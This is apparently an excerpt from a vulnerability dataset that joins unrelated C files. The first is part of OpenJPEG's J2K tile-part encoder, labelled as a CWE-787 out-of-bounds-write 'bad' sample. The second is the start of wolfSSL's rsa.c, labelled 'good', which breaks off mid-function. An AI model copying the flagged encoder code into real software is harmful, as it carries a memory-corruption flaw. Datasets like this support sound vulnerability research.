opj_j2k_write_first_tile_part(p_j2k, l_current_data, &l_nb_bytes_written, l_available_data, p_stream, p_manager)) { return OPJ_FALSE; } l_current_data += l_nb_bytes_written; l_available_data -= l_nb_bytes_written; l_nb_bytes_written = 0; if (! opj_j2k_write_all_tile_parts(p_j2k, l_current_data, &l_nb_bytes_written, l_available_data, p_stream, p_manager)) { return OPJ_FALSE; } l_available_data -= l_nb_bytes_written; l_nb_bytes_written = l_tile_size - l_available_data; if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_encoded_tile_data, l_nb_bytes_written, p_manager) != l_nb_bytes_written) { return OPJ_FALSE; } ++p_j2k->m_current_tile_number; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_end_compress(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); /* DEVELOPER CORNER, insert your custom procedures */ if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_eoc, p_manager)) { return OPJ_FALSE; } if (OPJ_IS_CINEMA(p_j2k->m_cp.rsiz)) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_updated_tlm, p_manager)) { return OPJ_FALSE; } } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_epc, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_end_encoding, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_destroy_header_memory, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_encoding_validation(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_build_encoder, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_encoding_validation, p_manager)) { return OPJ_FALSE; } /* DEVELOPER CORNER, add your custom validation procedure */ if (! opj_procedure_list_add_procedure(p_j2k->m_validation_list, (opj_procedure)opj_j2k_mct_validation, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_setup_header_writing(opj_j2k_t *p_j2k, opj_event_mgr_t * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_init_info, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_soc, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_siz, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_cod, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_qcd, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_all_coc, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_all_qcc, p_manager)) { return OPJ_FALSE; } if (OPJ_IS_CINEMA(p_j2k->m_cp.rsiz)) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_tlm, p_manager)) { return OPJ_FALSE; } if (p_j2k->m_cp.rsiz == OPJ_PROFILE_CINEMA_4K) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_poc, p_manager)) { return OPJ_FALSE; } } } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_regions, p_manager)) { return OPJ_FALSE; } if (p_j2k->m_cp.comment != 00) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_com, p_manager)) { return OPJ_FALSE; } } /* DEVELOPER CORNER, insert your custom procedures */ if (p_j2k->m_cp.rsiz & OPJ_EXTENSION_MCT) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_write_mct_data_group, p_manager)) { return OPJ_FALSE; } } /* End of Developer Corner */ if (p_j2k->cstr_index) { if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_get_end_header, p_manager)) { return OPJ_FALSE; } } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_create_tcd, p_manager)) { return OPJ_FALSE; } if (! opj_procedure_list_add_procedure(p_j2k->m_procedure_list, (opj_procedure)opj_j2k_update_rates, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_first_tile_part(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_nb_bytes_written = 0; OPJ_UINT32 l_current_nb_bytes_written; OPJ_BYTE * l_begin_data = 00; opj_tcd_t * l_tcd = 00; opj_cp_t * l_cp = 00; l_tcd = p_j2k->m_tcd; l_cp = &(p_j2k->m_cp); l_tcd->cur_pino = 0; /*Get number of tile parts*/ p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = 0; /* INDEX >> */ /* << INDEX */ l_current_nb_bytes_written = 0; l_begin_data = p_data; if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size, &l_current_nb_bytes_written, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; if (!OPJ_IS_CINEMA(l_cp->rsiz)) { #if 0 for (compno = 1; compno < p_j2k->m_private_image->numcomps; compno++) { l_current_nb_bytes_written = 0; opj_j2k_write_coc_in_memory(p_j2k, compno, p_data, &l_current_nb_bytes_written, p_manager); l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_current_nb_bytes_written = 0; opj_j2k_write_qcc_in_memory(p_j2k, compno, p_data, &l_current_nb_bytes_written, p_manager); l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; } #endif if (l_cp->tcps[p_j2k->m_current_tile_number].numpocs) { l_current_nb_bytes_written = 0; opj_j2k_write_poc_in_memory(p_j2k, p_data, &l_current_nb_bytes_written, p_manager); l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; } } l_current_nb_bytes_written = 0; if (! opj_j2k_write_sod(p_j2k, l_tcd, p_data, &l_current_nb_bytes_written, p_total_data_size, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; * p_data_written = l_nb_bytes_written; /* Writing Psot in SOT marker */ opj_write_bytes(l_begin_data + 6, l_nb_bytes_written, 4); /* PSOT */ if (OPJ_IS_CINEMA(l_cp->rsiz)) { opj_j2k_update_tlm(p_j2k, l_nb_bytes_written); } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_all_tile_parts(opj_j2k_t *p_j2k, OPJ_BYTE * p_data, OPJ_UINT32 * p_data_written, OPJ_UINT32 p_total_data_size, opj_stream_private_t *p_stream, struct opj_event_mgr * p_manager ) { OPJ_UINT32 tilepartno = 0; OPJ_UINT32 l_nb_bytes_written = 0; OPJ_UINT32 l_current_nb_bytes_written; OPJ_UINT32 l_part_tile_size; OPJ_UINT32 tot_num_tp; OPJ_UINT32 pino; OPJ_BYTE * l_begin_data; opj_tcp_t *l_tcp = 00; opj_tcd_t * l_tcd = 00; opj_cp_t * l_cp = 00; l_tcd = p_j2k->m_tcd; l_cp = &(p_j2k->m_cp); l_tcp = l_cp->tcps + p_j2k->m_current_tile_number; /*Get number of tile parts*/ tot_num_tp = opj_j2k_get_num_tp(l_cp, 0, p_j2k->m_current_tile_number); /* start writing remaining tile parts */ ++p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; for (tilepartno = 1; tilepartno < tot_num_tp ; ++tilepartno) { p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = tilepartno; l_current_nb_bytes_written = 0; l_part_tile_size = 0; l_begin_data = p_data; if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size, &l_current_nb_bytes_written, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; l_current_nb_bytes_written = 0; if (! opj_j2k_write_sod(p_j2k, l_tcd, p_data, &l_current_nb_bytes_written, p_total_data_size, p_stream, p_manager)) { return OPJ_FALSE; } p_data += l_current_nb_bytes_written; l_nb_bytes_written += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; /* Writing Psot in SOT marker */ opj_write_bytes(l_begin_data + 6, l_part_tile_size, 4); /* PSOT */ if (OPJ_IS_CINEMA(l_cp->rsiz)) { opj_j2k_update_tlm(p_j2k, l_part_tile_size); } ++p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; } for (pino = 1; pino <= l_tcp->numpocs; ++pino) { l_tcd->cur_pino = pino; /*Get number of tile parts*/ tot_num_tp = opj_j2k_get_num_tp(l_cp, pino, p_j2k->m_current_tile_number); for (tilepartno = 0; tilepartno < tot_num_tp ; ++tilepartno) { p_j2k->m_specific_param.m_encoder.m_current_poc_tile_part_number = tilepartno; l_current_nb_bytes_written = 0; l_part_tile_size = 0; l_begin_data = p_data; if (! opj_j2k_write_sot(p_j2k, p_data, p_total_data_size, &l_current_nb_bytes_written, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; l_current_nb_bytes_written = 0; if (! opj_j2k_write_sod(p_j2k, l_tcd, p_data, &l_current_nb_bytes_written, p_total_data_size, p_stream, p_manager)) { return OPJ_FALSE; } l_nb_bytes_written += l_current_nb_bytes_written; p_data += l_current_nb_bytes_written; p_total_data_size -= l_current_nb_bytes_written; l_part_tile_size += l_current_nb_bytes_written; /* Writing Psot in SOT marker */ opj_write_bytes(l_begin_data + 6, l_part_tile_size, 4); /* PSOT */ if (OPJ_IS_CINEMA(l_cp->rsiz)) { opj_j2k_update_tlm(p_j2k, l_part_tile_size); } ++p_j2k->m_specific_param.m_encoder.m_current_tile_part_number; } } *p_data_written = l_nb_bytes_written; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_updated_tlm(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { OPJ_UINT32 l_tlm_size; OPJ_OFF_T l_tlm_position, l_current_position; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); l_tlm_size = 5 * p_j2k->m_specific_param.m_encoder.m_total_tile_parts; l_tlm_position = 6 + p_j2k->m_specific_param.m_encoder.m_tlm_start; l_current_position = opj_stream_tell(p_stream); if (! opj_stream_seek(p_stream, l_tlm_position, p_manager)) { return OPJ_FALSE; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer, l_tlm_size, p_manager) != l_tlm_size) { return OPJ_FALSE; } if (! opj_stream_seek(p_stream, l_current_position, p_manager)) { return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_end_encoding(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); opj_tcd_destroy(p_j2k->m_tcd); p_j2k->m_tcd = 00; if (p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer) { opj_free(p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer); p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_buffer = 0; p_j2k->m_specific_param.m_encoder.m_tlm_sot_offsets_current = 0; } if (p_j2k->m_specific_param.m_encoder.m_encoded_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_encoded_tile_data); p_j2k->m_specific_param.m_encoder.m_encoded_tile_data = 0; } p_j2k->m_specific_param.m_encoder.m_encoded_tile_size = 0; return OPJ_TRUE; } /** * Destroys the memory associated with the decoding of headers. */ static OPJ_BOOL opj_j2k_destroy_header_memory(opj_j2k_t * p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); OPJ_UNUSED(p_stream); OPJ_UNUSED(p_manager); if (p_j2k->m_specific_param.m_encoder.m_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = 0; } p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; return OPJ_TRUE; } static OPJ_BOOL opj_j2k_init_info(opj_j2k_t *p_j2k, struct opj_stream_private *p_stream, struct opj_event_mgr * p_manager) { opj_codestream_info_t * l_cstr_info = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); (void)l_cstr_info; OPJ_UNUSED(p_stream); /* TODO mergeV2: check this part which use cstr_info */ /*l_cstr_info = p_j2k->cstr_info; if (l_cstr_info) { OPJ_UINT32 compno; l_cstr_info->tile = (opj_tile_info_t *) opj_malloc(p_j2k->m_cp.tw * p_j2k->m_cp.th * sizeof(opj_tile_info_t)); l_cstr_info->image_w = p_j2k->m_image->x1 - p_j2k->m_image->x0; l_cstr_info->image_h = p_j2k->m_image->y1 - p_j2k->m_image->y0; l_cstr_info->prog = (&p_j2k->m_cp.tcps[0])->prg; l_cstr_info->tw = p_j2k->m_cp.tw; l_cstr_info->th = p_j2k->m_cp.th; l_cstr_info->tile_x = p_j2k->m_cp.tdx;*/ /* new version parser */ /*l_cstr_info->tile_y = p_j2k->m_cp.tdy;*/ /* new version parser */ /*l_cstr_info->tile_Ox = p_j2k->m_cp.tx0;*/ /* new version parser */ /*l_cstr_info->tile_Oy = p_j2k->m_cp.ty0;*/ /* new version parser */ /*l_cstr_info->numcomps = p_j2k->m_image->numcomps; l_cstr_info->numlayers = (&p_j2k->m_cp.tcps[0])->numlayers; l_cstr_info->numdecompos = (OPJ_INT32*) opj_malloc(p_j2k->m_image->numcomps * sizeof(OPJ_INT32)); for (compno=0; compno < p_j2k->m_image->numcomps; compno++) { l_cstr_info->numdecompos[compno] = (&p_j2k->m_cp.tcps[0])->tccps->numresolutions - 1; } l_cstr_info->D_max = 0.0; */ /* ADD Marcela */ /*l_cstr_info->main_head_start = opj_stream_tell(p_stream);*/ /* position of SOC */ /*l_cstr_info->maxmarknum = 100; l_cstr_info->marker = (opj_marker_info_t *) opj_malloc(l_cstr_info->maxmarknum * sizeof(opj_marker_info_t)); l_cstr_info->marknum = 0; }*/ return opj_j2k_calculate_tp(p_j2k, &(p_j2k->m_cp), &p_j2k->m_specific_param.m_encoder.m_total_tile_parts, p_j2k->m_private_image, p_manager); } /** * Creates a tile-coder decoder. * * @param p_stream the stream to write data to. * @param p_j2k J2K codec. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_create_tcd(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); OPJ_UNUSED(p_stream); p_j2k->m_tcd = opj_tcd_create(OPJ_FALSE); if (! p_j2k->m_tcd) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to create Tile Coder\n"); return OPJ_FALSE; } if (!opj_tcd_init(p_j2k->m_tcd, p_j2k->m_private_image, &p_j2k->m_cp, p_j2k->m_tp)) { opj_tcd_destroy(p_j2k->m_tcd); p_j2k->m_tcd = 00; return OPJ_FALSE; } return OPJ_TRUE; } OPJ_BOOL opj_j2k_write_tile(opj_j2k_t * p_j2k, OPJ_UINT32 p_tile_index, OPJ_BYTE * p_data, OPJ_UINT32 p_data_size, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { if (! opj_j2k_pre_write_tile(p_j2k, p_tile_index, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error while opj_j2k_pre_write_tile with tile index = %d\n", p_tile_index); return OPJ_FALSE; } else { OPJ_UINT32 j; /* Allocate data */ for (j = 0; j < p_j2k->m_tcd->image->numcomps; ++j) { opj_tcd_tilecomp_t* l_tilec = p_j2k->m_tcd->tcd_image->tiles->comps + j; if (! opj_alloc_tile_component_data(l_tilec)) { opj_event_msg(p_manager, EVT_ERROR, "Error allocating tile component data."); return OPJ_FALSE; } } /* now copy data into the tile component */ if (! opj_tcd_copy_tile_data(p_j2k->m_tcd, p_data, p_data_size)) { opj_event_msg(p_manager, EVT_ERROR, "Size mismatch between tile data and sent data."); return OPJ_FALSE; } if (! opj_j2k_post_write_tile(p_j2k, p_stream, p_manager)) { opj_event_msg(p_manager, EVT_ERROR, "Error while opj_j2k_post_write_tile with tile index = %d\n", p_tile_index); return OPJ_FALSE; } } return OPJ_TRUE; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_2758_0
crossvul-cpp_data_good_4491_0
/* rsa.c * * Copyright (C) 2006-2020 wolfSSL Inc. * * This file is part of wolfSSL. * * wolfSSL is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * wolfSSL is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335, USA */ /* DESCRIPTION This library provides the interface to the RSA. RSA keys can be used to encrypt, decrypt, sign and verify data. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #include <wolfssl/wolfcrypt/settings.h> #include <wolfssl/wolfcrypt/error-crypt.h> #ifndef NO_RSA #if defined(HAVE_FIPS) && \ defined(HAVE_FIPS_VERSION) && (HAVE_FIPS_VERSION >= 2) /* set NO_WRAPPERS before headers, use direct internal f()s not wrappers */ #define FIPS_NO_WRAPPERS #ifdef USE_WINDOWS_API #pragma code_seg(".fipsA$e") #pragma const_seg(".fipsB$e") #endif #endif #include <wolfssl/wolfcrypt/rsa.h> #ifdef WOLFSSL_AFALG_XILINX_RSA #include <wolfssl/wolfcrypt/port/af_alg/wc_afalg.h> #endif #ifdef WOLFSSL_HAVE_SP_RSA #include <wolfssl/wolfcrypt/sp.h> #endif /* Possible RSA enable options: * NO_RSA: Overall control of RSA default: on (not defined) * WC_RSA_BLINDING: Uses Blinding w/ Private Ops default: off Note: slower by ~20% * WOLFSSL_KEY_GEN: Allows Private Key Generation default: off * RSA_LOW_MEM: NON CRT Private Operations, less memory default: off * WC_NO_RSA_OAEP: Disables RSA OAEP padding default: on (not defined) * WC_RSA_NONBLOCK: Enables support for RSA non-blocking default: off * WC_RSA_NONBLOCK_TIME:Enables support for time based blocking default: off * time calculation. */ /* RSA Key Size Configuration: * FP_MAX_BITS: With USE_FAST_MATH only default: 4096 If USE_FAST_MATH then use this to override default. Value is key size * 2. Example: RSA 3072 = 6144 */ /* If building for old FIPS. */ #if defined(HAVE_FIPS) && \ (!defined(HAVE_FIPS_VERSION) || (HAVE_FIPS_VERSION < 2)) int wc_InitRsaKey(RsaKey* key, void* ptr) { if (key == NULL) { return BAD_FUNC_ARG; } return InitRsaKey_fips(key, ptr); } int wc_InitRsaKey_ex(RsaKey* key, void* ptr, int devId) { (void)devId; if (key == NULL) { return BAD_FUNC_ARG; } return InitRsaKey_fips(key, ptr); } int wc_FreeRsaKey(RsaKey* key) { return FreeRsaKey_fips(key); } #ifndef WOLFSSL_RSA_VERIFY_ONLY int wc_RsaPublicEncrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { if (in == NULL || out == NULL || key == NULL || rng == NULL) { return BAD_FUNC_ARG; } return RsaPublicEncrypt_fips(in, inLen, out, outLen, key, rng); } #endif #ifndef WOLFSSL_RSA_PUBLIC_ONLY int wc_RsaPrivateDecryptInline(byte* in, word32 inLen, byte** out, RsaKey* key) { if (in == NULL || out == NULL || key == NULL) { return BAD_FUNC_ARG; } return RsaPrivateDecryptInline_fips(in, inLen, out, key); } int wc_RsaPrivateDecrypt(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { if (in == NULL || out == NULL || key == NULL) { return BAD_FUNC_ARG; } return RsaPrivateDecrypt_fips(in, inLen, out, outLen, key); } int wc_RsaSSL_Sign(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key, WC_RNG* rng) { if (in == NULL || out == NULL || key == NULL || inLen == 0) { return BAD_FUNC_ARG; } return RsaSSL_Sign_fips(in, inLen, out, outLen, key, rng); } #endif int wc_RsaSSL_VerifyInline(byte* in, word32 inLen, byte** out, RsaKey* key) { if (in == NULL || out == NULL || key == NULL) { return BAD_FUNC_ARG; } return RsaSSL_VerifyInline_fips(in, inLen, out, key); } int wc_RsaSSL_Verify(const byte* in, word32 inLen, byte* out, word32 outLen, RsaKey* key) { if (in == NULL || out == NULL || key == NULL || inLen == 0) { return BAD_FUNC_ARG; } return RsaSSL_Verify_fips(in, inLen, out, outLen, key); } int wc_RsaEncryptSize(RsaKey* key) { if (key == NULL) { return BAD_FUNC_ARG; } return RsaEncryptSize_fips(key); } #ifndef WOLFSSL_RSA_VERIFY_ONLY int wc_RsaFlattenPublicKey(RsaKey* key, byte* a, word32* aSz, byte* b, word32* bSz) { /* not specified as fips so not needing _fips */ return RsaFlattenPublicKey(key, a, aSz, b, bSz); } #endif #ifdef WOLFSSL_KEY_GEN int wc_MakeRsaKey(RsaKey* key, int size, long e, WC_RNG* rng) { return MakeRsaKey(key, size, e, rng); } #endif /* these are functions in asn and are routed to wolfssl/wolfcrypt/asn.c * wc_RsaPrivateKeyDecode * wc_RsaPublicKeyDecode */ #else /* else build without fips, or for new fips */ #include <wolfssl/wolfcrypt/random.h> #include <wolfssl/wolfcrypt/logging.h> #ifdef WOLF_CRYPTO_CB #include <wolfssl/wolfcrypt/cryptocb.h> #endif #ifdef NO_INLINE #include <wolfssl/wolfcrypt/misc.h> #else #define WOLFSSL_MISC_INCLUDED #include <wolfcrypt/src/misc.c> #endif enum { RSA_STATE_NONE = 0, RSA_STATE_ENCRYPT_PAD, RSA_STATE_ENCRYPT_EXPTMOD, RSA_STATE_ENCRYPT_RES, RSA_STATE_DECRYPT_EXPTMOD, RSA_STATE_DECRYPT_UNPAD, RSA_STATE_DECRYPT_RES, }; static void wc_RsaCleanup(RsaKey* key) { #ifndef WOLFSSL_RSA_VERIFY_INLINE if (key && key->data) { /* make sure any allocated memory is free'd */ if (key->dataIsAlloc) { #ifndef WOLFSSL_RSA_PUBLIC_ONLY if (key->type == RSA_PRIVATE_DECRYPT || key->type == RSA_PRIVATE_ENCRYPT) { ForceZero(key->data, key->dataLen); } #endif XFREE(key->data, key->heap, DYNAMIC_TYPE_WOLF_BIGINT); key->dataIsAlloc = 0; } key->data = NULL; key->dataLen = 0; } #else (void)key; #endif } int wc_InitRsaKey_ex(RsaKey* key, void* heap, int devId) { int ret = 0; if (key == NULL) { return BAD_FUNC_ARG; } XMEMSET(key, 0, sizeof(RsaKey)); key->type = RSA_TYPE_UNKNOWN; key->state = RSA_STATE_NONE; key->heap = heap; #ifndef WOLFSSL_RSA_VERIFY_INLINE key->dataIsAlloc = 0; key->data = NULL; #endif key->dataLen = 0; #ifdef WC_RSA_BLINDING key->rng = NULL; #endif #ifdef WOLF_CRYPTO_CB key->devId = devId; #else (void)devId; #endif #ifdef WOLFSSL_ASYNC_CRYPT #ifdef WOLFSSL_CERT_GEN XMEMSET(&key->certSignCtx, 0, sizeof(CertSignCtx)); #endif #ifdef WC_ASYNC_ENABLE_RSA /* handle as async */ ret = wolfAsync_DevCtxInit(&key->asyncDev, WOLFSSL_ASYNC_MARKER_RSA, key->heap, devId); if (ret != 0) return ret; #endif /* WC_ASYNC_ENABLE_RSA */ #endif /* WOLFSSL_ASYNC_CRYPT */ #ifndef WOLFSSL_RSA_PUBLIC_ONLY ret = mp_init_multi(&key->n, &key->e, NULL, NULL, NULL, NULL); if (ret != MP_OKAY) return ret; #if !defined(WOLFSSL_KEY_GEN) && !defined(OPENSSL_EXTRA) && defined(RSA_LOW_MEM) ret = mp_init_multi(&key->d, &key->p, &key->q, NULL, NULL, NULL); #else ret = mp_init_multi(&key->d, &key->p, &key->q, &key->dP, &key->dQ, &key->u); #endif if (ret != MP_OKAY) { mp_clear(&key->n); mp_clear(&key->e); return ret; } #else ret = mp_init(&key->n); if (ret != MP_OKAY) return ret; ret = mp_init(&key->e); if (ret != MP_OKAY) { mp_clear(&key->n); return ret; } #endif #ifdef WOLFSSL_XILINX_CRYPT key->pubExp = 0; key->mod = NULL; #endif #ifdef WOLFSSL_AFALG_XILINX_RSA key->alFd = WC_SOCK_NOTSET; key->rdFd = WC_SOCK_NOTSET; #endif return ret; } int wc_InitRsaKey(RsaKey* key, void* heap) { return wc_InitRsaKey_ex(key, heap, INVALID_DEVID); } #ifdef HAVE_PKCS11 int wc_InitRsaKey_Id(RsaKey* key, unsigned char* id, int len, void* heap, int devId) { int ret = 0; if (key == NULL) ret = BAD_FUNC_ARG; if (ret == 0 && (len < 0 || len > RSA_MAX_ID_LEN)) ret = BUFFER_E; if (ret == 0) ret = wc_InitRsaKey_ex(key, heap, devId); if (ret == 0 && id != NULL && len != 0) { XMEMCPY(key->id, id, len); key->idLen = len; } return ret; } #endif #ifdef WOLFSSL_XILINX_CRYPT #define MAX_E_SIZE 4 /* Used to setup hardware state * * key the RSA key to setup * * returns 0 on success */ int wc_InitRsaHw(RsaKey* key) { unsigned char* m; /* RSA modulous */ word32 e = 0; /* RSA public exponent */ int mSz; int eSz; if (key == NULL) { return BAD_FUNC_ARG; } mSz = mp_unsigned_bin_size(&(key->n)); m = (unsigned char*)XMALLOC(mSz, key->heap, DYNAMIC_TYPE_KEY); if (m == NULL) { return MEMORY_E; } if (mp_to_unsigned_bin(&(key->n), m) != MP_OKAY) { WOLFSSL_MSG("Unable to get RSA key modulus"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return MP_READ_E; } eSz = mp_unsigned_bin_size(&(key->e)); if (eSz > MAX_E_SIZE) { WOLFSSL_MSG("Exponent of size 4 bytes expected"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return BAD_FUNC_ARG; } if (mp_to_unsigned_bin(&(key->e), (byte*)&e + (MAX_E_SIZE - eSz)) != MP_OKAY) { XFREE(m, key->heap, DYNAMIC_TYPE_KEY); WOLFSSL_MSG("Unable to get RSA key exponent"); return MP_READ_E; } /* check for existing mod buffer to avoid memory leak */ if (key->mod != NULL) { XFREE(key->mod, key->heap, DYNAMIC_TYPE_KEY); } key->pubExp = e; key->mod = m; if (XSecure_RsaInitialize(&(key->xRsa), key->mod, NULL, (byte*)&(key->pubExp)) != XST_SUCCESS) { WOLFSSL_MSG("Unable to initialize RSA on hardware"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return BAD_STATE_E; } #ifdef WOLFSSL_XILINX_PATCH /* currently a patch of xsecure_rsa.c for 2048 bit keys */ if (wc_RsaEncryptSize(key) == 256) { if (XSecure_RsaSetSize(&(key->xRsa), 2048) != XST_SUCCESS) { WOLFSSL_MSG("Unable to set RSA key size on hardware"); XFREE(m, key->heap, DYNAMIC_TYPE_KEY); return BAD_STATE_E; } } #endif return 0; } /* WOLFSSL_XILINX_CRYPT*/ #elif defined(WOLFSSL_CRYPTOCELL) int wc_InitRsaHw(RsaKey* key) { CRYSError_t ret = 0; byte e[3]; word32 eSz = sizeof(e); byte n[256]; word32 nSz = sizeof(n); byte d[256]; word32 dSz = sizeof(d); byte p[128]; word32 pSz = sizeof(p); byte q[128]; word32 qSz = sizeof(q); if (key == NULL) { return BAD_FUNC_ARG; } ret = wc_RsaExportKey(key, e, &eSz, n, &nSz, d, &dSz, p, &pSz, q, &qSz); if (ret != 0) return MP_READ_E; ret = CRYS_RSA_Build_PubKey(&key->ctx.pubKey, e, eSz, n, nSz); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_Build_PubKey failed"); return ret; } ret = CRYS_RSA_Build_PrivKey(&key->ctx.privKey, d, dSz, e, eSz, n, nSz); if (ret != SA_SILIB_RET_OK){ WOLFSSL_MSG("CRYS_RSA_Build_PrivKey failed"); return ret; } key->type = RSA_PRIVATE; return 0; } static int cc310_RSA_GenerateKeyPair(RsaKey* key, int size, long e) { CRYSError_t ret = 0; CRYS_RSAKGData_t KeyGenData; CRYS_RSAKGFipsContext_t FipsCtx; byte ex[3]; uint16_t eSz = sizeof(ex); byte n[256]; uint16_t nSz = sizeof(n); ret = 